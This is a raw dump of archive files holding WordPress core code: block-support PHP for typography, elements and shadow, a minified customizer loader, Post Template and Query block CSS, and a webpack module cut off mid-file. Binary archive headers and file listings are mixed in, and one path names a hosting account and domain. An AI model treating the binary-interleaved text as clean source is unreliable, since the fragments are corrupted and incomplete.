 * @since 6.6.0 Deprecated bool argument $should_use_fluid_typography.
 * @since 6.7.0 Font size presets can enable fluid typography individually, even if it’s disabled globally.
 *
 * @param array      $preset   {
 *     Required. fontSizes preset value as seen in theme.json.
 *
 *     @type string           $name Name of the font size preset.
 *     @type string           $slug Kebab-case, unique identifier for the font size preset.
 *     @type string|int|float $size CSS font-size value, including units if applicable.
 * }
 * @param bool|array $settings Optional Theme JSON settings array that overrides any global theme settings.
 *                             Default is false.
 * @return string|null Font-size value or null if a size is not passed in $preset.
 */


function wp_get_typography_font_size_value( $preset, $settings = array() ) {
	if ( ! isset( $preset['size'] ) ) {
		return null;
	}

	/*
	 * Catches falsy values and 0/'0'. Fluid calculations cannot be performed on `0`.
	 * Also returns early when a preset font size explicitly disables fluid typography with `false`.
	 */
	$fluid_font_size_settings = $preset['fluid'] ?? null;
	if ( false === $fluid_font_size_settings || empty( $preset['size'] ) ) {
		return $preset['size'];
	}

	/*
	 * As a boolean (deprecated since 6.6), $settings acts as an override to switch fluid typography "on" (`true`) or "off" (`false`).
	 */
	if ( is_bool( $settings ) ) {
		_deprecated_argument( __FUNCTION__, '6.6.0', __( '`boolean` type for second argument `$settings` is deprecated. Use `array()` instead.' ) );
		$settings = array(
			'typography' => array(
				'fluid' => $settings,
			),
		);
	}

	// Fallback to global settings as default.
	$global_settings = wp_get_global_settings();
	$settings        = wp_parse_args(
		$settings,
		$global_settings
	);

	$typography_settings = $settings['typography'] ?? array();

	/*
	 * Return early when fluid typography is disabled in the settings, and there
	 * are no local settings to enable it for the individual preset.
	 *
	 * If this condition isn't met, either the settings or individual preset settings
	 * have enabled fluid typography.
	 */
	if ( empty( $typography_settings['fluid'] ) && empty( $fluid_font_size_settings ) ) {
		return $preset['size'];
	}

	$fluid_settings  = isset( $typography_settings['fluid'] ) ? $typography_settings['fluid'] : array();
	$layout_settings = isset( $settings['layout'] ) ? $settings['layout'] : array();

	// Defaults.
	$default_maximum_viewport_width       = '1600px';
	$default_minimum_viewport_width       = '320px';
	$default_minimum_font_size_factor_max = 0.75;
	$default_minimum_font_size_factor_min = 0.25;
	$default_scale_factor                 = 1;
	$default_minimum_font_size_limit      = '14px';

	// Defaults overrides.
	$minimum_viewport_width = isset( $fluid_settings['minViewportWidth'] ) ? $fluid_settings['minViewportWidth'] : $default_minimum_viewport_width;
	$maximum_viewport_width = isset( $layout_settings['wideSize'] ) && ! empty( wp_get_typography_value_and_unit( $layout_settings['wideSize'] ) ) ? $layout_settings['wideSize'] : $default_maximum_viewport_width;
	if ( isset( $fluid_settings['maxViewportWidth'] ) ) {
		$maximum_viewport_width = $fluid_settings['maxViewportWidth'];
	}
	$has_min_font_size       = isset( $fluid_settings['minFontSize'] ) && ! empty( wp_get_typography_value_and_unit( $fluid_settings['minFontSize'] ) );
	$minimum_font_size_limit = $has_min_font_size ? $fluid_settings['minFontSize'] : $default_minimum_font_size_limit;

	// Try to grab explicit min and max fluid font sizes.
	$minimum_font_size_raw = isset( $fluid_font_size_settings['min'] ) ? $fluid_font_size_settings['min'] : null;
	$maximum_font_size_raw = isset( $fluid_font_size_settings['max'] ) ? $fluid_font_size_settings['max'] : null;

	// Font sizes.
	$preferred_size = wp_get_typography_value_and_unit( $preset['size'] );

	// Protects against unsupported units.
	if ( empty( $preferred_size['unit'] ) ) {
		return $preset['size'];
	}

	/*
	 * Normalizes the minimum font size limit according to the incoming unit,
	 * in order to perform comparative checks.
	 */
	$minimum_font_size_limit = wp_get_typography_value_and_unit(
		$minimum_font_size_limit,
		array(
			'coerce_to' => $preferred_size['unit'],
		)
	);

	// Don't enforce minimum font size if a font size has explicitly set a min and max value.
	if ( ! empty( $minimum_font_size_limit ) && ( ! $minimum_font_size_raw && ! $maximum_font_size_raw ) ) {
		/*
		 * If a minimum size was not passed to this function
		 * and the user-defined font size is lower than $minimum_font_size_limit,
		 * do not calculate a fluid value.
		 */
		if ( $preferred_size['value'] <= $minimum_font_size_limit['value'] ) {
			return $preset['size'];
		}
	}

	// If no fluid max font size is available use the incoming value.
	if ( ! $maximum_font_size_raw ) {
		$maximum_font_size_raw = $preferred_size['value'] . $preferred_size['unit'];
	}

	/*
	 * If no minimumFontSize is provided, create one using
	 * the given font size multiplied by the min font size scale factor.
	 */
	if ( ! $minimum_font_size_raw ) {
		$preferred_font_size_in_px = 'px' === $preferred_size['unit'] ? $preferred_size['value'] : $preferred_size['value'] * 16;

		/*
		 * The scale factor is a multiplier that affects how quickly the curve will move towards the minimum,
		 * that is, how quickly the size factor reaches 0 given increasing font size values.
		 * For a - b * log2(), lower values of b will make the curve move towards the minimum faster.
		 * The scale factor is constrained between min and max values.
		 */
		$minimum_font_size_factor     = min( max( 1 - 0.075 * log( $preferred_font_size_in_px, 2 ), $default_minimum_font_size_factor_min ), $default_minimum_font_size_factor_max );
		$calculated_minimum_font_size = round( $preferred_size['value'] * $minimum_font_size_factor, 3 );

		// Only use calculated min font size if it's > $minimum_font_size_limit value.
		if ( ! empty( $minimum_font_size_limit ) && $calculated_minimum_font_size <= $minimum_font_size_limit['value'] ) {
			$minimum_font_size_raw = $minimum_font_size_limit['value'] . $minimum_font_size_limit['unit'];
		} else {
			$minimum_font_size_raw = $calculated_minimum_font_size . $preferred_size['unit'];
		}
	}

	$fluid_font_size_value = wp_get_computed_fluid_typography_value(
		array(
			'minimum_viewport_width' => $minimum_viewport_width,
			'maximum_viewport_width' => $maximum_viewport_width,
			'minimum_font_size'      => $minimum_font_size_raw,
			'maximum_font_size'      => $maximum_font_size_raw,
			'scale_factor'           => $default_scale_factor,
		)
	);

	if ( ! empty( $fluid_font_size_value ) ) {
		return $fluid_font_size_value;
	}

	return $preset['size'];
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'typography',
	array(
		'register_attribute' => 'wp_register_typography_support',
		'apply'              => 'wp_apply_typography_support',
	)
);
PK�Vd[�����!�!elements.phpnu�[���<?php
/**
 * Elements styles block support.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Gets the elements class names.
 *
 * @since 6.0.0
 * @access private
 *
 * @param array $block Block object.
 * @return string The unique class name.
 */
function wp_get_elements_class_name( $block ) {
	return 'wp-elements-' . md5( serialize( $block ) );
}

/**
 * Determines whether an elements class name should be added to the block.
 *
 * @since 6.6.0
 * @access private
 *
 * @param  array $block   Block object.
 * @param  array $options Per element type options e.g. whether to skip serialization.
 * @return boolean Whether the block needs an elements class name.
 */
function wp_should_add_elements_class_name( $block, $options ) {
	if ( ! isset( $block['attrs']['style']['elements'] ) ) {
		return false;
	}

	$element_color_properties = array(
		'button'  => array(
			'skip'  => isset( $options['button']['skip'] ) ? $options['button']['skip'] : false,
			'paths' => array(
				array( 'button', 'color', 'text' ),
				array( 'button', 'color', 'background' ),
				array( 'button', 'color', 'gradient' ),
			),
		),
		'link'    => array(
			'skip'  => isset( $options['link']['skip'] ) ? $options['link']['skip'] : false,
			'paths' => array(
				array( 'link', 'color', 'text' ),
				array( 'link', ':hover', 'color', 'text' ),
			),
		),
		'heading' => array(
			'skip'  => isset( $options['heading']['skip'] ) ? $options['heading']['skip'] : false,
			'paths' => array(
				array( 'heading', 'color', 'text' ),
				array( 'heading', 'color', 'background' ),
				array( 'heading', 'color', 'gradient' ),
				array( 'h1', 'color', 'text' ),
				array( 'h1', 'color', 'background' ),
				array( 'h1', 'color', 'gradient' ),
				array( 'h2', 'color', 'text' ),
				array( 'h2', 'color', 'background' ),
				array( 'h2', 'color', 'gradient' ),
				array( 'h3', 'color', 'text' ),
				array( 'h3', 'color', 'background' ),
				array( 'h3', 'color', 'gradient' ),
				array( 'h4', 'color', 'text' ),
				array( 'h4', 'color', 'background' ),
				array( 'h4', 'color', 'gradient' ),
				array( 'h5', 'color', 'text' ),
				array( 'h5', 'color', 'background' ),
				array( 'h5', 'color', 'gradient' ),
				array( 'h6', 'color', 'text' ),
				array( 'h6', 'color', 'background' ),
				array( 'h6', 'color', 'gradient' ),
			),
		),
	);

	$elements_style_attributes = $block['attrs']['style']['elements'];

	foreach ( $element_color_properties as $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		foreach ( $element_config['paths'] as $path ) {
			if ( null !== _wp_array_get( $elements_style_attributes, $path, null ) ) {
				return true;
			}
		}
	}

	return false;
}

/**
 * Render the elements stylesheet and adds elements class name to block as required.
 *
 * In the case of nested blocks we want the parent element styles to be rendered before their descendants.
 * This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant:
 * we want the descendant style to take priority, and this is done by loading it after, in DOM order.
 *
 * @since 6.0.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @since 6.6.0 Element block support class and styles are generated via the `render_block_data` filter instead of `pre_render_block`.
 * @access private
 *
 * @param array $parsed_block The parsed block.
 * @return array The same parsed block with elements classname added if appropriate.
 */
function wp_render_elements_support_styles( $parsed_block ) {
	/*
	 * The generation of element styles and classname were moved to the
	 * `render_block_data` filter in 6.6.0 to avoid filtered attributes
	 * breaking the application of the elements CSS class.
	 *
	 * @see https://github.com/WordPress/gutenberg/pull/59535
	 *
	 * The change in filter means, the argument types for this function
	 * have changed and require deprecating.
	 */
	if ( is_string( $parsed_block ) ) {
		_deprecated_argument(
			__FUNCTION__,
			'6.6.0',
			__( 'Use as a `pre_render_block` filter is deprecated. Use with `render_block_data` instead.' )
		);
	}

	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $parsed_block['blockName'] );
	$element_block_styles = isset( $parsed_block['attrs']['style']['elements'] ) ? $parsed_block['attrs']['style']['elements'] : null;

	if ( ! $element_block_styles ) {
		return $parsed_block;
	}

	$skip_link_color_serialization         = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' );
	$skip_heading_color_serialization      = wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' );
	$skip_button_color_serialization       = wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' );
	$skips_all_element_color_serialization = $skip_link_color_serialization &&
		$skip_heading_color_serialization &&
		$skip_button_color_serialization;

	if ( $skips_all_element_color_serialization ) {
		return $parsed_block;
	}

	$options = array(
		'button'  => array( 'skip' => $skip_button_color_serialization ),
		'link'    => array( 'skip' => $skip_link_color_serialization ),
		'heading' => array( 'skip' => $skip_heading_color_serialization ),
	);

	if ( ! wp_should_add_elements_class_name( $parsed_block, $options ) ) {
		return $parsed_block;
	}

	$class_name         = wp_get_elements_class_name( $parsed_block );
	$updated_class_name = isset( $parsed_block['attrs']['className'] ) ? $parsed_block['attrs']['className'] . " $class_name" : $class_name;

	_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );

	// Generate element styles based on selector and store in style engine for enqueuing.
	$element_types = array(
		'button'  => array(
			'selector' => ".$class_name .wp-element-button, .$class_name .wp-block-button__link",
			'skip'     => $skip_button_color_serialization,
		),
		'link'    => array(
			'selector'       => ".$class_name a:where(:not(.wp-element-button))",
			'hover_selector' => ".$class_name a:where(:not(.wp-element-button)):hover",
			'skip'           => $skip_link_color_serialization,
		),
		'heading' => array(
			'selector' => ".$class_name h1, .$class_name h2, .$class_name h3, .$class_name h4, .$class_name h5, .$class_name h6",
			'skip'     => $skip_heading_color_serialization,
			'elements' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),
		),
	);

	foreach ( $element_types as $element_type => $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		$element_style_object = isset( $element_block_styles[ $element_type ] ) ? $element_block_styles[ $element_type ] : null;

		// Process primary element type styles.
		if ( $element_style_object ) {
			wp_style_engine_get_styles(
				$element_style_object,
				array(
					'selector' => $element_config['selector'],
					'context'  => 'block-supports',
				)
			);

			if ( isset( $element_style_object[':hover'] ) ) {
				wp_style_engine_get_styles(
					$element_style_object[':hover'],
					array(
						'selector' => $element_config['hover_selector'],
						'context'  => 'block-supports',
					)
				);
			}
		}

		// Process related elements e.g. h1-h6 for headings.
		if ( isset( $element_config['elements'] ) ) {
			foreach ( $element_config['elements'] as $element ) {
				$element_style_object = isset( $element_block_styles[ $element ] )
					? $element_block_styles[ $element ]
					: null;

				if ( $element_style_object ) {
					wp_style_engine_get_styles(
						$element_style_object,
						array(
							'selector' => ".$class_name $element",
							'context'  => 'block-supports',
						)
					);
				}
			}
		}
	}

	return $parsed_block;
}

/**
 * Ensure the elements block support class name generated, and added to
 * block attributes, in the `render_block_data` filter gets applied to the
 * block's markup.
 *
 * @see wp_render_elements_support_styles
 * @since 6.6.0
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_elements_class_name( $block_content, $block ) {
	$class_string = $block['attrs']['className'] ?? '';
	preg_match( '/\bwp-elements-\S+\b/', $class_string, $matches );

	if ( empty( $matches ) ) {
		return $block_content;
	}

	$tags = new WP_HTML_Tag_Processor( $block_content );

	if ( $tags->next_tag() ) {
		$tags->add_class( $matches[0] );
	}

	return $tags->get_updated_html();
}

add_filter( 'render_block', 'wp_render_elements_class_name', 10, 2 );
add_filter( 'render_block_data', 'wp_render_elements_support_styles', 10, 1 );
PK�Vd[#_�--
shadow.phpnu�[���<?php
/**
 * Shadow block support flag.
 *
 * @package WordPress
 * @since 6.3.0
 */

/**
 * Registers the style and shadow block attributes for block types that support it.
 *
 * @since 6.3.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_shadow_support( $block_type ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

	if ( ! $has_shadow_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( array_key_exists( 'shadow', $block_type->attributes ) ) {
		$block_type->attributes['shadow'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add CSS classes and inline styles for shadow features to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 6.3.0
 * @since 6.6.0 Return early if __experimentalSkipSerialization is true.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 * @return array Shadow CSS classes and inline styles.
 */
function wp_apply_shadow_support( $block_type, $block_attributes ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

	if (
		! $has_shadow_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'shadow' )
	) {
		return array();
	}

	$shadow_block_styles = array();

	$custom_shadow                 = $block_attributes['style']['shadow'] ?? null;
	$shadow_block_styles['shadow'] = $custom_shadow;

	$attributes = array();
	$styles     = wp_style_engine_get_styles( $shadow_block_styles );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'shadow',
	array(
		'register_attribute' => 'wp_register_shadow_support',
		'apply'              => 'wp_apply_shadow_support',
	)
);
PK�Vd[�U����	utils.phpnu�[���PK�Vd[��ohh	,error_lognu�[���PK�Vd[�Mlldimensions.phpnu�[���PK�Vd[�h<KKɁaria-label.phpnu�[���PK�Vd[������R�position.phpnu�[���PK�Vd[�F��
�
�duotone.phpnu�[���PK�Vd[c��
�$�$e�block-style-variations.phpnu�[���PK�Vd[@��
y�border.phpnu�[���PK�Vd[,�>!��
��layout.phpnu�[���PK�Vd[{�/��}custom-classname.phpnu�[���PK�Vd[O�ԩ׃background.phpnu�[���PK�Vd[�QA/<<(�spacing.phpnu�[���PK�Vd[��R��	��align.phpnu�[���PK�Vd[S$��>>
��colors.phpnu�[���PK�Vd[������settings.phpnu�[���PK�Vd[]@���M�generated-classname.phpnu�[���PK�Vd[O�i�p�pe�typography.phpnu�[���PK�Vd[�����!�!,Helements.phpnu�[���PK�Vd[#_�--
@jshadow.phpnu�[���PK��r14338/customize-loader.min.js.tar000064400000012000151024420100012377 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/customize-loader.min.js000064400000006737151024225200026404 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},function(i){var n,o=wp.customize;i.extend(i.support,{history:!(!window.history||!history.pushState),hashchange:"onhashchange"in window&&(void 0===document.documentMode||7<document.documentMode)}),n=i.extend({},o.Events,{initialize:function(){this.body=i(document.body),n.settings&&i.support.postMessage&&(i.support.cors||!n.settings.isCrossDomain)&&(this.window=i(window),this.element=i('<div id="customize-container" />').appendTo(this.body),this.bind("open",this.overlay.show),this.bind("close",this.overlay.hide),i("#wpbody").on("click",".load-customize",function(e){e.preventDefault(),n.link=i(this),n.open(n.link.attr("href"))}),i.support.history&&this.window.on("popstate",n.popstate),i.support.hashchange)&&(this.window.on("hashchange",n.hashchange),this.window.triggerHandler("hashchange"))},popstate:function(e){e=e.originalEvent.state;e&&e.customize?n.open(e.customize):n.active&&n.close()},hashchange:function(){var e=window.location.toString().split("#")[1];e&&0===e.indexOf("wp_customize=on")&&n.open(n.settings.url+"?"+e),e||i.support.history||n.close()},beforeunload:function(){if(!n.saved())return n.settings.l10n.saveAlert},open:function(e){if(!this.active){if(n.settings.browser.mobile)return window.location=e;this.originalDocumentTitle=document.title,this.active=!0,this.body.addClass("customize-loading"),this.saved=new o.Value(!0),this.iframe=i("<iframe />",{src:e,title:n.settings.l10n.mainIframeTitle}).appendTo(this.element),this.iframe.one("load",this.loaded),this.messenger=new o.Messenger({url:e,channel:"loader",targetWindow:this.iframe[0].contentWindow}),history.replaceState&&this.messenger.bind("changeset-uuid",function(e){var t=document.createElement("a");t.href=location.href,t.search=i.param(_.extend(o.utils.parseQueryString(t.search.substr(1)),{changeset_uuid:e})),history.replaceState({customize:t.href},"",t.href)}),this.messenger.bind("ready",function(){n.messenger.send("back")}),this.messenger.bind("close",function(){i.support.history?history.back():i.support.hashchange?window.location.hash="":n.close()}),i(window).on("beforeunload",this.beforeunload),this.messenger.bind("saved",function(){n.saved(!0)}),this.messenger.bind("change",function(){n.saved(!1)}),this.messenger.bind("title",function(e){window.document.title=e}),this.pushState(e),this.trigger("open")}},pushState:function(e){var t=e.split("?")[1];i.support.history&&window.location.href!==e?history.pushState({customize:e},"",e):!i.support.history&&i.support.hashchange&&t&&(window.location.hash="wp_customize=on&"+t),this.trigger("open")},opened:function(){n.body.addClass("customize-active full-overlay-active").attr("aria-busy","true")},close:function(){var t,i=this;i.active&&(i.messenger.bind("confirmed-close",t=function(e){e?(i.active=!1,i.trigger("close"),i.originalDocumentTitle&&(document.title=i.originalDocumentTitle)):history.forward(),i.messenger.unbind("confirmed-close",t)}),n.messenger.send("confirm-close"))},closed:function(){n.iframe.remove(),n.messenger.destroy(),n.iframe=null,n.messenger=null,n.saved=null,n.body.removeClass("customize-active full-overlay-active").removeClass("customize-loading"),i(window).off("beforeunload",n.beforeunload),n.link&&n.link.focus()},loaded:function(){n.body.removeClass("customize-loading").attr("aria-busy","false")},overlay:{show:function(){this.element.fadeIn(200,n.opened)},hide:function(){this.element.fadeOut(200,n.closed)}}}),i(function(){n.settings=_wpCustomizeLoaderSettings,n.initialize()}),o.Loader=n}((wp,jQuery));14338/comments-title.tar.gz000064400000001412151024420100011304 0ustar00��X[o�0�+�
+�c��"���U�I�6�h{���$�īcG�Sʪ��;���V�mj�'8>�|�b��H�P�7&��֯�m�i��U�0h��v������N��k��󧲉L�0�1b��hN�Ƙ���$at�0áS���:R2�]JÐ�h�D�����w��,� �o�{����oz~���#`�����ԫ%�#���;�������l��7j)c�w�����T���k�kĐPoH�ؘT[�\�q;4��ZFe⺵���hʾ���I�JM�z	��Vy�8��*�gd�8��H��=6<�R��
���z��A��&O�;g:�t�	%.�2tHD��A9!s�<)�5�L(s�!Lhƍ;�4�3)�B?��|����h�B�5F�qf@�"R�{}�Y$
J�:FШ*"e�'VS�r�ź+�)k���@��"�!��@�Ŝ�3\��in8��0�y۰��>�
�
k�����;uOgi*�Y��]}'�kpi��M�	b����ܦx	�'���T!�EhEC��{l.�]��d�B�$���%J憹�Ⱥv��jXN�<g���|AH�[^���y�,�Z��UMi`;e=�*b����׳F�%�Ƴ���d��dΙ������.��&��v(}����
��tF��HQ�'R%;��-&�!ŏ`������6��h����d�)�#E�n�YV7�-?���Q�]����/~��ݟ����^u���
*Tx��
�14338/post-template.tar000064400000031000151024420100010513 0ustar00style-rtl.min.css000064400000002761151024245440010006 0ustar00.wp-block-post-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:left;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:right;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto}style.min.css000064400000002761151024245440007207 0ustar00.wp-block-post-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:right;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:left;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto}block.json000064400000003043151024245440006532 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-template",
	"title": "Post Template",
	"category": "theme",
	"ancestor": [ "core/query" ],
	"description": "Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.",
	"textdomain": "default",
	"usesContext": [
		"queryId",
		"query",
		"displayLayout",
		"templateSlug",
		"previewPostType",
		"enhancedPagination",
		"postType"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"align": [ "wide", "full" ],
		"layout": true,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"blockGap": {
				"__experimentalDefault": "1.25em"
			},
			"__experimentalDefaultControls": {
				"blockGap": true,
				"padding": false,
				"margin": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true
		}
	},
	"style": "wp-block-post-template",
	"editorStyle": "wp-block-post-template-editor"
}
style-rtl.css000064400000003215151024245440007217 0ustar00.wp-block-post-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  margin-top:0;
  max-width:100%;
  padding:0;
}
.wp-block-post-template.is-flex-container{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:1.25em;
}
.wp-block-post-template.is-flex-container>li{
  margin:0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{
    width:calc(50% - .625em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{
    width:calc(25% - .9375em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{
    width:calc(20% - 1em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{
    width:calc(16.66667% - 1.04167em);
  }
}

@media (max-width:600px){
  .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{
    grid-template-columns:1fr;
  }
}
.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{
  float:left;
  margin-inline-end:0;
  margin-inline-start:2em;
}

.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{
  float:right;
  margin-inline-end:2em;
  margin-inline-start:0;
}

.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{
  margin-inline-end:auto;
  margin-inline-start:auto;
}style.css000064400000003215151024245440006420 0ustar00.wp-block-post-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  margin-top:0;
  max-width:100%;
  padding:0;
}
.wp-block-post-template.is-flex-container{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:1.25em;
}
.wp-block-post-template.is-flex-container>li{
  margin:0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{
    width:calc(50% - .625em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{
    width:calc(25% - .9375em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{
    width:calc(20% - 1em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{
    width:calc(16.66667% - 1.04167em);
  }
}

@media (max-width:600px){
  .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{
    grid-template-columns:1fr;
  }
}
.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{
  float:right;
  margin-inline-end:0;
  margin-inline-start:2em;
}

.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{
  float:left;
  margin-inline-end:2em;
  margin-inline-start:0;
}

.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{
  margin-inline-end:auto;
  margin-inline-start:auto;
}14338/query.zip000064400000033606151024420100007114 0ustar00PK�[d[������editor-rtl.min.cssnu�[���.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:-4px;padding:16px 0;position:sticky;top:0;transform:translateY(-4px);z-index:2}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.block-editor-block-settings-menu__popover.is-expanded{overflow-y:scroll}.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{height:100%}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr;grid-gap:12px;min-width:280px}@media (min-width:600px){.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{grid-template-columns:1fr 1fr;min-width:480px}}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{margin-bottom:0}PK�[d[����view.jsnu�[���import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ var __webpack_modules__ = ({

/***/ 438:
/***/ ((module) => {

module.exports = import("@wordpress/interactivity-router");;

/***/ })

/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/ 
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ 	// Check if module is in cache
/******/ 	var cachedModule = __webpack_module_cache__[moduleId];
/******/ 	if (cachedModule !== undefined) {
/******/ 		return cachedModule.exports;
/******/ 	}
/******/ 	// Create a new module (and put it into the cache)
/******/ 	var module = __webpack_module_cache__[moduleId] = {
/******/ 		// no module.id needed
/******/ 		// no module.loaded needed
/******/ 		exports: {}
/******/ 	};
/******/ 
/******/ 	// Execute the module function
